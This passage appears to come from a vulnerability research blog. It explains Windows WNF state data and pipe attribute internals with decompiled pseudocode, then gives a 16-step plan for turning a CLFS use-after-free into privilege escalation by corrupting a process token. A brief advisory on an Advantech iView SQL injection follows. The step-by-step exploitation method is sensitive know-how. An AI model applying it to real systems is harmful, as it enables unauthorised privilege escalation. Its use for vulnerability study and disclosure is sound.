When a WNF State Name is created via a call to NtCreateWnfStateName(), ExpWnfCreateNameInstance() is called internally to create a name
instance. The pseudocode of ExpWnfCreateNameInstance() is listed below:

ExpWnfCreateNameInstance
          (_WNF_SCOPE_INSTANCE *ScopeInstance,_WNF_STATE_NAME *StateName,undefined4 *param_3,_KPROCESS *param_4,
          _EX_RUNDOWN_REF **param_5)

{

[Truncated]

    uVar23 = (uint)((ulonglong)StateName >> 4) & 3;
    if ((PsInitialSystemProcess == Process) || (uVar23 != 3)) {
        SVar20 = 0xb8;
        if (*(longlong *)(param_3 + 2) == 0) {
            SVar20 = 0xa8;
        }
        NameInstance = (_WNF_NAME_INSTANCE *)ExAllocatePoolWithTag(PagedPool,SVar20,0x20666e57);
    }
    else {
        SVar20 = 0xb8;
        if (*(longlong *)(param_3 + 2) == 0) {

[1]

            SVar20 = 0xa8;
        }

[2]

        NameInstance = (_WNF_NAME_INSTANCE *)ExAllocatePoolWithQuotaTag(9,SVar20,0x20666e57);
    }


A chunk of size 0xa8 (as seen at [1]) is allocated from the Paged Pool at [2] as a structure of type _WNF_NAME_INSTANCE. This results in an allocation of size 0xc0 from the LFH. This structure is listed below:

struct _WNF_NAME_INSTANCE
{
    struct _WNF_NODE_HEADER Header;                                         //0x0
    struct _EX_RUNDOWN_REF RunRef;                                          //0x8
    struct _RTL_BALANCED_NODE TreeLinks;                                    //0x10

    // [3]

    struct _WNF_STATE_NAME_STRUCT StateName;                                //0x28
    struct _WNF_SCOPE_INSTANCE* ScopeInstance;                              //0x30
    struct _WNF_STATE_NAME_REGISTRATION StateNameInfo;                      //0x38
    struct _WNF_LOCK StateDataLock;                                         //0x50

    // [4]

    struct _WNF_STATE_DATA* StateData;                                      //0x58
    ULONG CurrentChangeStamp;                                               //0x60
    VOID* PermanentDataStore;                                               //0x68
    struct _WNF_LOCK StateSubscriptionListLock;                             //0x70
    struct _LIST_ENTRY StateSubscriptionListHead;                           //0x78
    struct _LIST_ENTRY TemporaryNameListEntry;                              //0x88

    // [5]

    struct _EPROCESS* CreatorProcess;                                       //0x98
    LONG DataSubscribersCount;                                              //0xa0
    LONG CurrentDeliveryCount;                                              //0xa4
}; 

Relevant entries in the _WNF_NAME_INSTANCE structure include:

  • StateName: Uniquely identifies the name instance, shown at [3].
  • StateData: Stores the data associated with the instance, shown at [4].
  • CreatorProcess: Stores the address of the _EPROCESS structure of the process that created the name instance, shown at [5].

The StateData is headed by a structure of type _WNF_STATE_DATA. This structure is listed below:

struct _WNF_STATE_DATA
{
    // [6]

    struct _WNF_NODE_HEADER Header;                                         //0x0

    // [7]

    ULONG AllocatedSize;                                                    //0x4
    ULONG DataSize;                                                         //0x8
    ULONG ChangeStamp;                                                      //0xc
}; 

The StateData pointer is referred to when the WNF State Data is updated and queried. The variable-size data immediately follows the _WNF_STATE_DATA structure.

Updating WNF State Data

When the WNF State Data is updated via a call to NtUpdateWnfStateData(), ExpWnfWriteStateData() is called internally to write to the StateData pointer. The pseudocode of ExpWnfWriteStateData() is listed below.

void ExpWnfWriteStateData
               (_WNF_NAME_INSTANCE *NameInstance,void *InputBuffer,ulonglong Length,int MatchingChangeStamp,
               int CheckStamp)

{

[Truncated]

    if (NameInstance->StateData != (_WNF_STATE_DATA *)0x1) {

[8]

        StateData = NameInstance->StateData;
    }
    LengtH = (uint)(Length & 0xffffffff);

[9]

    if (((StateData == NULL) && ((NameInstance->PermanentDataStore != NULL || (LengtH != 0)))) ||

[10]

       ((StateData != NULL && (StateData->AllocatedSize < LengtH)))) {

[Truncated]

[11]

            StateData = (_WNF_STATE_DATA *)ExAllocatePoolWithQuotaTag(9,(ulonglong)(LengtH + 0x10),0x20666e57);

[Truncated]

[12]

        StateData->Header = (_WNF_NODE_HEADER)0x100904;
        StateData->AllocatedSize = LengtH;

[Truncated]

[13]

        RtlCopyMemory(StateData + 1,InputBuffer,Length & 0xffffffff);
        StateData->DataSize = LengtH;
        StateData->ChangeStamp = uVar5;

[Truncated]

    __security_check_cookie(local_30 ^ (ulonglong)&stack0xffffffffffffff08);
    return;
}

The InputBuffer and Length parameters to the function contain the contents and size of the data. It is important to note that these can be controlled by a user.

The StateData pointer is first retrieved from the related name instance of type _WNF_NAME_INSTANCE at [8]. If the StateData pointer is NULL (as is the case initially) at [9], or if the current size is lesser than the size of the new data at [10], memory is allocated from the Paged Pool for the new StateData pointer at [11]. It important to note that the size of allocation is the size of the new data (Length) plus 0x10, to account for the _WNF_STATE_DATA header. The Header and AllocateSize fields shown at [6] and [7] of the _WNF_STATE_DATA header are then initialized at [12].

Note that if the current StateData pointer is large enough for the new data, code execution from [8] jumps directly to [13]. Length bytes from the InputBuffer parameter are then copied into the StateData pointer at [13]. The DataSize field in the _WNF_STATE_DATA header is also filled at [13].

Deleting WNF State Name

A WNF State Name can be deleted via a call to NtDeleteWnfStateName(). Among other things, this function frees the associated name instance and StateData buffers described above.

Querying WNF State Data

When WNF State Data is queried via a call to NtQueryWnfStateData(), ExpWnfReadStateData() is called internally to read from the StateData pointer. The pseudocode of ExpWnfReadStateData() is listed below.

undefined4
ExpWnfReadStateData(_WNF_NAME_INSTANCE *NameInstance,undefined4 *param_2,void *OutBuf,uint OutBufSize,undefined4 *param_5)

{

[Truncated]

[14]

    StateData = NameInstance->StateData;
    if (StateData == NULL) {
        *param_2 = 0;
    }
    else {
        if (StateData != (_WNF_STATE_DATA *)0x1) {
            *param_2 = StateData->ChangeStamp;
            *param_5 = StateData->DataSize;

[15]

            if (OutBufSize < StateData->DataSize) {
                local_48 = 0xc0000023;
            }
            else {

[16]

                RtlCopyMemory(OutBuf,StateData + 1,(ulonglong)StateData->DataSize);
                local_48 = 0;
            }
            goto LAB_fffff8054ce2383f;
        }
        *param_2 = NameInstance->CurrentChangeStamp;
    }


The OutBuf and OutBufSize parameters to the function are provided by the user to store the queried data. The StateData pointer is first retrieved from the related name instance of type _WNF_NAME_INSTANCE at [14]. If the output buffer is large enough to store the data (which is checked at [15]), StateData->DataSize bytes starting right after the StateData header are copied into the output buffer at [16].

Pipe Attributes

After the creation of a pipe, a user has the ability to add attributes to the pipe. The attributes are a key-value pair, and are stored into a linked list. The PipeAttribute object is allocated in the PagedPool, and has the following structure:

struct PipeAttribute {
    LIST_ENTRY list;
    char * AttributeName;
    uint64_t AttributeValueSize;
    char * AttributeValue;
    char data[0];
};

The size of the allocation and the data is fully controlled by an attacker. The AttributeName and AttributeValue are pointers pointing at different offsets of the data field. A pipe attribute can be created on a pipe using the NtFsControlFile syscall, and the 0x11003C control code.

The attribute’s value can then be read using the 0x110038 control code. The AttributeValue pointer and the AttributeValueSize will be used to read the attribute value and return it to the user.

Steps for Exploitation

Exploitation of the vulnerability involves the following steps:

  1. Spray large number of Pipe Attributes of size 0x7a00 to use up all fragmented chunks in VS backend and allocate new ones. The last few will each be allocated on separate segments of size 0x11000, with the last (0x11000-0x7a00) bytes of each segment unused.
  2. Delete one of the later Pipe Attributes. This will consolidate the first 0x7a00 bytes with the remaining bytes in the rest of the segment, and put the entire segment back in the VS backend.
  3. Allocate the vulnerable chunk of size 0x7a00 by opening the malicious Base Log File. This will get allocated from the freed segment in Step 2. Similar to Step 1, the last (0x11000-0x7a00) bytes will be unused. The vulnerable chunk will be freed for the first time shortly afterwards. Similar to Step 2, the entire segment will be back in the VS backend.
  4. Spray large number of WNF_STATE_DATA objects of size 0x1000. This will first use up fragmented chunks in VS backend and then the entire freed segment in Step 3. Note that no size lesser than 0x1000 (and maximum is 0x1000 for WNF_STATE_DATA objects) can be used because that will have an additional header that will corrupt the header in the vulnerable chunk, blocking a double free.
  5. Free the vulnerable chunk for the second time. This will end up freeing the memory of one of the WNF_STATE_DATA objects allocated in Step 4, without actually releasing the object.
  6. Allocate a WNF_STATE_DATA object of size 0x1000 over the freed chunk in Step 5. This will create 2 entirely overlapping WNF_STATE_DATA objects of size 0x1000.
  7. Free all the WNF_STATE_DATA objects allocated in Step 4. This will once again put the entire vulnerable segment (of size 0x11000) back in the VS backend.
  8. Spray large number of WNF_STATE_DATA objects of size 0x700, each with unique data. This will first use up fragmented chunks in VS backend and then the entire freed segment in Step 7. Each page in the freed segment is now split as (0x700,0x700,0x1d0 (remaining)). Note, here size 0x700 can be used because the rest of the exploit doesn’t require any more freeing of the vulnerable chunk. This now creates 2 overlapping WNF_STATE_DATA objects, one of size 0x1000 (allocated in Step 6) and other of size 0x700 (allocated here). Size 0x700 is specifically chosen for 2 reasons. The first reason being that the additional chunk header (of size 0x10) in the 0x700-sized object means that the StateData header of the 0x1000-sized object is 0x10 bytes before the StateData header of the 0x700-sized object. Thus, the StateData header of the 0x700-sized object overlaps with the StateData data of the 0x1000-sized object.
  9. Update the StateData of the 0x1000-sized object to corrupt the StateData header of the 0x700-sized object such that the AllocatedSize and DataSize fields of the 0x700-sized object is increased from 0x6c0 (0x700-0x40) to 0x7000 each. Now, querying or updating the 0x700-sized object will result in an out-of-bounds read/write into adjacent 0x700-sized WNF_STATE_DATA objects allocated in Step 8.
  10. Identify the corrupted 0x700-sized WNF_STATE_DATA object by querying all of them with a Buffer size of 0x700. All will return successfully except for the corrupted one, which will return with an error indicating that the buffer size is too small. This is because the DataSize field was increased (refer to Step 9).
  11. Query the corrupted 0x700-sized WNF_STATE_DATA object (identified in Step 10) to further identify the next 2 adjacent WNF_STATE_DATA objects using the OOB read. The first of these will be at offset 0x710 and the second will be at offset 0x1000 from the corrupted 0x700-sized WNF_STATE_DATA object.
  12. Free the second newly identified WNF_STATE_DATA object of size 0x700.
  13. Create a new process, which will run with the same privileges as the exploit process. The token of this new process is allocated over the freed WNF_STATE_DATA object in Step 12. This is the second reason for choosing size 0x700, as the size of the token object is also 0x700.
  14. Query the corrupted 0x700-sized WNF_STATE_DATA object (identified in Step 10) to identify the contents of the token allocated in Step 13 using the OOB read. Calculate the offset to the Privileges.Enabled and Privileges.Present fields in the token*object.
  15. Update the corrupted 0x700-sized WNF_STATE_DATA object to corrupt the first adjacent object (identified in Step 11) using the OOB write. Increase the AllocatedSize and DataSize fields in the StateData pointer (refer to Step 9).
  16. Update the most recent corrupted WNF_STATE_DATA object (Step 15) to corrupt the adjacent token object using the OOB write. Overwrite the Privileges.Enabled and Privileges.Presentfields in the token object to 0xffffffffffffffff, thereby setting all the privileges. This completes the LPE.

Conclusion

We hope you enjoyed reading the deep dive into a use-after-free in CLFS, and if you did, go ahead and check out our other blog posts on vulnerability analysis and exploitation. If you haven’t already, make sure to follow us on Twitter to keep up to date with our work. Happy hacking!

Advantech iView ztp_search_value Parameter SQL Injection Remote Code Execution Vulnerability

EIP-b4311e44

A vulnerability exists within Advantech iView SNMP management tool that allows for remote attackers to bypass authentication checks and reach a SQL injection vulnerability within the ‘ztp_search_value’ parameter to the ‘NetworkServlet’ endpoint. Successful exploitation allows for remote code execution with administrator privileges.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-b4311e44
  • MITRE CVE: TBD

Vulnerability Metrics

  • CVSSv2 Score: 6.4

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: January 13th, 2022
  • Disclosed to public: February 2nd, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at sales@exodusintel.com.

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.